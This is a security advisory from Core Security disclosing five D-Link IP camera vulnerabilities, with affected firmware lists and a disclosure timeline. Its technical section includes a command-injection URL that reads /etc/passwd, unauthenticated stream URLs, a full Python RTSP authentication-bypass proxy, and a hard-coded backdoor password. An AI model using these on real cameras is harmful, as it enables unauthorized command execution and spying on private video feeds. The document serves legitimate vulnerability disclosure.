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D-Link IP Cameras Multiple Vulnerabilities

1. *Advisory Information*

Title: D-Link IP Cameras Multiple Vulnerabilities
Advisory ID: CORE-2013-0303
Advisory URL:
http://www.coresecurity.com/advisories/d-link-ip-cameras-multiple-vulnerabilities
Date published: 2013-04-29
Date of last update: 2013-03-29
Vendors contacted: D-Link Corporation
Release mode: Coordinated release

2. *Vulnerability Information*

Class: OS command injection [CWE-78], Authentication issues [CWE-287],
Information leak through GET request [CWE-598], Authentication issues
[CWE-287], Use of hard-coded credentials [CWE-798]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-1599, CVE-2013-1600, CVE-2013-1601, CVE-2013-1602,
CVE-2013-1603

3. *Vulnerability Description*

Multiple vulnerabilities have been found in D-Link IP cameras [1] that
could allow an unauthenticated remote attacker:

   1. [CVE-2013-1599] to execute arbitrary commands from the
administration web interface,
   2. [CVE-2013-1600] to access the video stream via HTTP,
   3. [CVE-2013-1601] to access the ASCII video stream via image luminance,
   4. [CVE-2013-1602] to access the video stream via RTSP,
   5. [CVE-2013-1603] to bypass RTSP authentication using hard-coded
credentials.

4. *Vulnerable Packages*

The following is the list of affected devices and the associated
firmware (confirmed by D-Link). Other SKUs are probably affected too,
but they were not checked.

[CVE-2013-1599]
   . DCS-3411/3430 - firmware v1.02
   . DCS-5605/5635 - v1.01
   . DCS-1100L/1130L - v1.04
   . DCS-1100/1130 - v1.03
   . DCS-1100/1130 - v1.04_US
   . DCS-2102/2121 - v1.05_RU
   . DCS-3410 - v1.02
   . DCS-5230 - v1.02
   . DCS-5230L - v1.02
   . DCS-6410 - v1.00
   . DCS-7410 - v1.00
   . DCS-7510 - v1.00
   . WCS-1100 - v1.02

[CVE-2013-1600]
   . DCS-2102/2121 - v1.05_RU
   . DCS-2102/2121 - v1.06
   . DCS-2102/2121 - v1.06_FR
   . TESCO DCS-2102/2121 - v1.05_TESCO

[CVE-2013-1601] and [CVE-2013-1603]
   . DCS-3411/3430 - v1.02
   . DCS-5605/5635 - v1.01
   . DCS-1100L/1130L - v1.04
   . DCS-1100/1130 - v1.03
   . DCS-1100/1130 - v1.04_US
   . DCS-2102/2121 - v1.05_RU
   . DCS-2102/2121 - v1.06
   . DCS-2102/2121 - v1.06_FR
   . TESCO DCS-2102/2121 - v1.05_TESCO
   . DCS-3410 - v1.02
   . DCS-5230 - v1.02
   . DCS-5230L - v1.02
   . DCS-6410 - v1.00
   . DCS-7410 - v1.00
   . DCS-7510 - v1.00
   . WCS-1100 - v1.02

[CVE-2013-1602]
   . ALL mentioned devices and firmware.

5. *Vendor Information, Solutions and Workarounds*

D-Link announces that all patches are ready and scheduled for posting on
corporate web site for all customers [2013-04-25]. Contact D-Link for
further information.

6. *Credits*

[CVE-2013-1599], [CVE-2013-1600] and [CVE-2013-1601] were discovered and
researched by Francisco Falcon and Nahuel Riva from Core Exploit Writers
Team.

[CVE-2013-1602] was discovered and researched by Martin Rocha from Core
Impact Pro Team. The PoC was made by Martin Rocha with help of Juan
Cotta from Core QA Team.

[CVE-2013-1603] was discovered and researched by Pablo Santamaria from
Core Security Consulting Services.

The publication of this advisory was coordinated by Fernando Miranda
from Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

7.1. *OS Command Injection*

[CVE-2013-1599] A security issue located in '/var/www/cgi-bin/rtpd.cgi'
allows an unauthenticated remote attacker to execute arbitrary commands
through the camera's web interface. The OS command injection is due to
this code in 'rtpd.cgi':

/-----
echo "$QUERY_STRING" | grep -vq ' ' || die "query string cannot contain
spaces."
. $conf > /dev/null 2> /dev/null
eval "$(echo $QUERY_STRING | sed -e 's/&/ /g')"

-----/
 The first line of this snippet basically ensures that there are no
spaces in '$QUERY_STRING'. The last line uses 'sed' to replace
ampersands '&' with spaces, and then call to the function 'eval()',
resulting in a typical command injection. For example, in order to execute:

/-----
uname -a;cat /etc/passwd
-----/
 the following request can be sent to the camera web interface:

/-----
http://192.168.1.100/cgi-bin/rtpd.cgi?uname&-a;cat&/etc/passwd
-----/


7.2. *Authentication Bypass*

[CVE-2013-1600] The live video stream can be accessed without
authentication by a remote attacker via the following request:

/-----
http://192.168.1.100/upnp/asf-mp4.asf
-----/

7.3. *ASCII Video Stream Information Leak*

[CVE-2013-1601] An ASCII output (the image luminance) of the live video
stream can be accessed by a remote unauthenticated attacker via:

/-----
http://192.168.1.100/md/lums.cgi
-----/
 The following example is the output of a coffee pot video stream [2]:

/-----
O O O O O O O O O O O O O O O O O O O O O O O O O O o o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O O O o o o O O O o o o o o o o o o o o o
O O O O O O O O O O O O O O O O O O .       . . o O O o o o o o o o o o o o
O O O O O O O O O O O O o o O O o         . .   o o o o o o o o o o o o o o
O O O O O O O O O O O O o o o o . . . . .                   . o o o o o o o
O O O O O O O O O O o . o O O o                               . o o o o o o
O O O O O O O O O .                                           . o o o o o o
O O O O O O O O .                                         . o o o o o o o o
O O O O O O O .     . o O O o .                         . o o o o o o o o o
O O O O O O o     . O O O O O O                         . o o o o o o o o o
O O O O O O .     O O O O O O O .     . . . .             o o o o o o o o o
O O O O O O     o O O O O O O O .     . . o . .           . o o o o o o o o
O O O O O O     o O O O O O O O .   . . o o o . . . . . . . o o o o o o o o
O O O O O O     o O O O O O O o . o O O o O O . . . . . . . . o o o o o o o
O O O O O O .   o O O O O O O o . O O O o O O . . . . . . . . . o o o o o o
O O O O O O .   . O O O O O o . . O O o o O O o . . . . . . . . o o o o o o
O O O O O O o     O O O O O o . o O O o o O O o . . . . . . . . . o o o o o
O O O O O O O     O O O O O . . o O O o o O O o . . . . . . . . . o o o o o
O O O O O O O .   o O O O o . o o o O o o O O o . . . . . . . . . . o o o o
O O O O O O O o   . O O O o . o o o O o o O O o . . . . . . . . . . o o o o
O O O O O O O O   . O O O . . o o o O o o O O o . . . . . . . . . . o o o o
O O O O O O O O     O O O . . o o o O o o O O o . . . . . . . . . . . o o o
O O O O O O O O o   o O o   o o o o O o o o O o . . . . . . . . . . . o o o
O O O O O O O O O   . O o   o o o o O o . o O o . . . . . . . . . . . . o o
O O O O O O O O O .   O o . o o o o O . . o O o . . . . . . . . . . . . . o
O O O O O O O O O o   o . . o o o o o . . o O o . . . . . . . .   .   . . o
O O O O O O O O O O   . . . o o o . o . . o O o . . . .               .   .
o O O O O O O O O O .     . o o o . o . . . O o . .                   .    
o o O O O O O O O O o     . o o o . o . . . O o . .                        
o o o O O O O O O O o     . o o o . o . . . O o .                          

-----/

7.4. *RTSP Authentication Bypass*

[CVE-2013-1602] This vulnerability is triggered because:

   1. Authentication is only present in DESCRIBE requests but not in
every subsequent request.
   2. When the RTSP session is being established, the authentication
request of current session is ignored (a previously stored response is
used instead).
As a result, the video stream can be accessed by an unauthenticated
remote attacker.

/-----
import sys
from socket import *
from threading import Thread
import time, re

LOGGING = 1

def log(s):
    if LOGGING:
        print '(%s) %s' % (time.ctime(), s)


class UDPRequestHandler(Thread):
    def __init__(self, data_to_send, recv_addr, dst_addr):
        Thread.__init__(self)
        self.data_to_send = data_to_send
        self.recv_addr = recv_addr
        self.dst_addr = dst_addr
    
    def run(self):
        sender = socket(AF_INET, SOCK_DGRAM)
        sender.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        sender.sendto(self.data_to_send, self.dst_addr)
        response = sender.recv(1024)
        sender.sendto(response, self.recv_addr)
        sender.close()


class UDPDispatcher(Thread):
    dispatchers = []
    
    def __has_dispatcher_for(self, port):
        return any([d.src_port == port for d in UDPDispatcher.dispatchers])
    
    def __init__(self, src_port, dst_addr):
        Thread.__init__(self)
        if self.__has_dispatcher_for(src_port):
            raise Exception('There is already a dispatcher for port %d'
% src_port)
        self.src_port = src_port
        self.dst_addr = dst_addr
        UDPDispatcher.dispatchers.append(self)
    
    def run(self):
        listener = socket(AF_INET, SOCK_DGRAM)
        listener.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        listener.bind(('', self.src_port))
        while 1:
            try:
                data, recv_addr = listener.recvfrom(1024)
                if not data: break
                UDPRequestHandler(data, recv_addr, self.dst_addr).start()
            except Exception as e:
                print e
                break        
        listener.close()
        UDPDispatcher.dispatchers.remove( self )


class PipeThread(Thread):
    pipes = []
    def __init__(self, source, sink, process_data_callback=lambda x: x):
        Thread.__init__(self)
        self.source = source
        self.sink = sink
        self.process_data_callback = process_data_callback
        PipeThread.pipes.append(self)

    def run(self):
        while 1:
            try:
                data = self.source.recv(1024)
                data = self.process_data_callback(data)
                if not data: break
                self.sink.send( data )
            except Exception as e:
                log(e)
                break
        PipeThread.pipes.remove(self)


class TCPTunnel(Thread):
    def __init__(self, src_port, dst_addr, process_data_callback=lambda
x: x):
        Thread.__init__(self)
        log('[*] Redirecting: localhost:%s -> %s:%s' % (src_port,
dst_addr[0], dst_addr[1]))
        self.dst_addr = dst_addr
        self.process_data_callback = process_data_callback
        # Create TCP listener socket
        self.sock = socket(AF_INET, SOCK_STREAM)
        self.sock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
        self.sock.bind(('', src_port))
        self.sock.listen(5)
    
    def run(self):
        while 1:
            # Wait until a new connection arises
            newsock, address = self.sock.accept()
            # Create forwarder socket
            fwd = socket(AF_INET, SOCK_STREAM)
            fwd.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
            fwd.connect(self.dst_addr)
            # Pipe them!
            PipeThread(newsock, fwd, self.process_data_callback).start()
            PipeThread(fwd, newsock, self.process_data_callback).start()


class Camera():
    def __init__(self, address):
        self.address = address
    def get_describe_data(self):
        return ''


class DLink(Camera):
    # D-Link DCS-2102/1.06-5731
    def __init__(self, address):
        Camera.__init__(self, address)
    def get_describe_data(self):
        return
'\x76\x3d\x30\x0d\x0a\x6f\x3d\x43\x56\x2d\x52\x54\x53\x50\x48\x61\x6e\x64\x6c\x65\x72\x20\x31\x31\x32\x33\x34\x31\x32\x20\x30\x20\x49\x4e\x20\x49\x50\x34\x20\x31\x39\x32\x2e\x31\x36\x38\x2e\x32\x2e\x31\x31\x0d\x0a\x73\x3d\x44\x43\x53\x2d\x32\x31\x30\x32\x0d\x0a\x63\x3d\x49\x4e\x20\x49\x50\x34\x20\x30\x2e\x30\x2e\x30\x2e\x30\x0d\x0a\x74\x3d\x30\x20\x30\x0d\x0a\x61\x3d\x63\x68\x61\x72\x73\x65\x74\x3a\x53\x68\x69\x66\x74\x5f\x4a\x49\x53\x0d\x0a\x61\x3d\x72\x61\x6e\x67\x65\x3a\x6e\x70\x74\x3d\x6e\x6f\x77\x2d\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x2a\x0d\x0a\x61\x3d\x65\x74\x61\x67\x3a\x31\x32\x33\x34\x35\x36\x37\x38\x39\x30\x0d\x0a\x6d\x3d\x76\x69\x64\x65\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x39\x36\x0d\x0a\x62\x3d\x41\x53\x3a\x31\x38\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x39\x36\x20\x4d\x50\x34\x56\x2d\x45\x53\x2f\x39\x30\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x31\x0d\x0a\x61\x3d\x66\x6d\x74\x70\x3a\x39\x36\x20\x70\x72\x6f\x66\x69\x6c\x65\x2d\x6c\x65\x76\x65\x6c\x2d\x69\x64\x3d\x31\x3b\x63\x6f\x6e\x66\x69\x67\x3d\x30\x30\x30\x30\x30\x31\x42\x30\x30\x31\x30\x30\x30\x30\x30\x31\x42\x35\x30\x39\x30\x30\x30\x30\x30\x31\x30\x30\x30\x30\x30\x30\x30\x31\x32\x30\x30\x30\x43\x34\x38\x38\x42\x41\x39\x38\x35\x31\x34\x30\x34\x33\x43\x31\x34\x34\x33\x46\x3b\x64\x65\x63\x6f\x64\x65\x5f\x62\x75\x66\x3d\x37\x36\x38\x30\x30\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a\x6d\x3d\x61\x75\x64\x69\x6f\x20\x30\x20\x52\x54\x50\x2f\x41\x56\x50\x20\x30\x0d\x0a\x61\x3d\x72\x74\x70\x6d\x61\x70\x3a\x30\x20\x50\x43\x4d\x55\x2f\x38\x30\x30\x30\x0d\x0a\x61\x3d\x63\x6f\x6e\x74\x72\x6f\x6c\x3a\x74\x72\x61\x63\x6b\x49\x44\x3d\x32\x0d\x0a\x61\x3d\x73\x65\x6e\x64\x6f\x6e\x6c\x79\x0d\x0a'


class RTSPAuthByPasser():
    DESCRIBE_REQ_HEADER = 'DESCRIBE rtsp://'
    UNAUTHORIZED_RESPONSE = 'RTSP/1.0 401 Unauthorized'
    SERVER_PORT_ARGUMENTS = 'server_port='
    DEFAULT_CSEQ = 1
    DEFAULT_SERVER_PORT_RANGE = '5556-5559'

    def __init__(self, local_port, camera):
        self.last_describe_req = ''
        self.camera = camera
        self.local_port = local_port
        
    def start(self):
        log('[!] Starting bypasser')
        TCPTunnel(self.local_port, self.camera.address,
self.spoof_rtsp_conn).start()
        
    def spoof_rtsp_conn(self, data):
        if RTSPAuthByPasser.DESCRIBE_REQ_HEADER in data:
            self.last_describe_req = data
        elif RTSPAuthByPasser.UNAUTHORIZED_RESPONSE in data and
self.last_describe_req:
            log('[!] Unauthorized response received. Spoofing...')
            spoofed_describe = self.camera.get_describe_data()
            # Look for the request CSeq
            m = re.search('.*CSeq:\\s*(\\d+?)\r\n.*',
self.last_describe_req)
            cseq = m.group(1) if m else RTSPAuthByPasser.DEFAULT_CSEQ
            # Create the response
            data = 'RTSP/1.0 200 OK\r\n'
            data+= 'CSeq: %s\r\n' % cseq
            data+= 'Content-Type: application/sdp\r\n'
            data+= 'Content-Length: %d\r\n' % len(spoofed_describe)
            data+= '\r\n'
            # Attach the spoofed describe
            data+= spoofed_describe       
        elif RTSPAuthByPasser.SERVER_PORT_ARGUMENTS in data:
            # Look for the server RTP ports
            m = re.search('.*%s\\s*(.+?)[;|\r].*' %
RTSPAuthByPasser.SERVER_PORT_ARGUMENTS, data)
            ports = m.group(1) if m else
RTSPAuthByPasser.DEFAULT_SERVER_PORT_RANGE
            # For each port in the range create a UDP dispatcher
            begin_port, end_port = map(int, ports.split('-'))
            for udp_port in xrange(begin_port, end_port + 1):
                try:
                    UDPDispatcher(udp_port, (self.camera.address[0],
udp_port)).start()
                except:
                    pass        
        return data

if __name__ == '__main__':
    if len( sys.argv ) > 1:
        listener_port = camera_port = int(sys.argv[1])
        camera_ip = sys.argv[2]
        if len(sys.argv) == 4:
            camera_port = int(sys.argv[3])
        RTSPAuthByPasser(listener_port, DLink((camera_ip,
camera_port))).start()
    else:
        print 'usage: python %s [local_port] [camera_ip]
[camera_rtsp_port]'   
-----/

7.5. *RTSP Hard-Coded Credentials*

[CVE-2013-1603] RTSP service contains hard-coded credentials that
effectively serve as a backdoor, which allows remote attackers to access
the RTSP video stream.

/-----
username: (any)           
password: ?*
-----/

As we can see in the following dump, the submitted password is compared
with the string ':?*' (the character ':' is used for concatenation of
'username:password'). This code belongs to the binary 'rtspd':

/-----
.text:00011468 loc_11468               ; Load from Memory
.text:00011468 LDR     R3, [R11,#s2]
.text:0001146C STR     R3, [R11,#var_C0] ; Store to Memory
.text:00011470 LDR     R2, [R11,#var_C0] ; Load from Memory
.text:00011474 LDR     R3, [R11,#var_BC] ; Load from Memory
.text:00011478 ADD     R3, R2, R3      ; Rd = Op1 + Op2
.text:0001147C SUB     R3, R3, #3      ; Rd = Op1 - Op2
.text:00011480 STR     R3, [R11,#var_C0] ; Store to Memory
.text:00011484 LDR     R0, [R11,#var_C0] ; s1
.text:00011488 LDR     R1, =asc_1B060  ; ":?*"      <-------
.text:0001148C MOV     R2, #3          ; n
.text:00011490 BL      strncmp         ; Branch with Link
.text:00011494 MOV     R3, R0          ; Rd = Op2
.text:00011498 CMP     R3, #0          ; Set cond. codes on Op1 - Op2
.text:0001149C BNE     loc_114BC       ; Branch
-----/

8. *Report Timeline*
. 2013-03-19:
Core Security Technologies notifies the D-Link team of the vulnerability.

. 2013-03-20:
D-Link team asks for a technical description of the vulnerability.

. 2013-03-20:
Core sends a draft advisory with technical details and set the estimated
publication date of the advisory for May 14th, 2013.

. 2013-03-20:
Vendor notifies that D-Link Corporation has an unpublished bounty
program for security advisors. The bounty program requires both Core
Security and D-Link to sign a memo of understanding (MoU).

. 2013-03-25:
Core notifies that receiving money from vendors may bias the view of the
report and rejects the bounty program.

. 2013-03-29:
Vendor notifies that they hope to close the fix ASAP.

. 2013-04-08:
Vendor sends the list of vulnerable devices and the associated firmware
and notifies that they will release patches and release notes on the
D-Link support forum first. Then, an official public release will be
announced (approx. 1 month from forum post to full release).

. 2013-04-24:
Core asks for a clarification regarding the D-Link release date and
notifies that releasing fixes to a privileged closed group and/or a
closed forum or list is unacceptable.

. 2013-04-25:
Vendor notifies that the patches are ready and scheduled for posting on
D-Link web site over the next few days.

. 2013-04-26:
Core notifies that the advisory is re-scheduled for Monday 29th.

. 2013-04-29:
Advisory CORE-2013-0303 published.

9. *References*

[1] http://www.dlink.com/us/en/home-solutions/view/network-cameras.
[2]
http://corelabs.coresecurity.com/themes/sample_theme/images/coffee-pot.png.

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with anticipating the future needs and requirements for information
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12. *Disclaimer*

The contents of this advisory are copyright (c) 2013 Core Security
Technologies and (c) 2013 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

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This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
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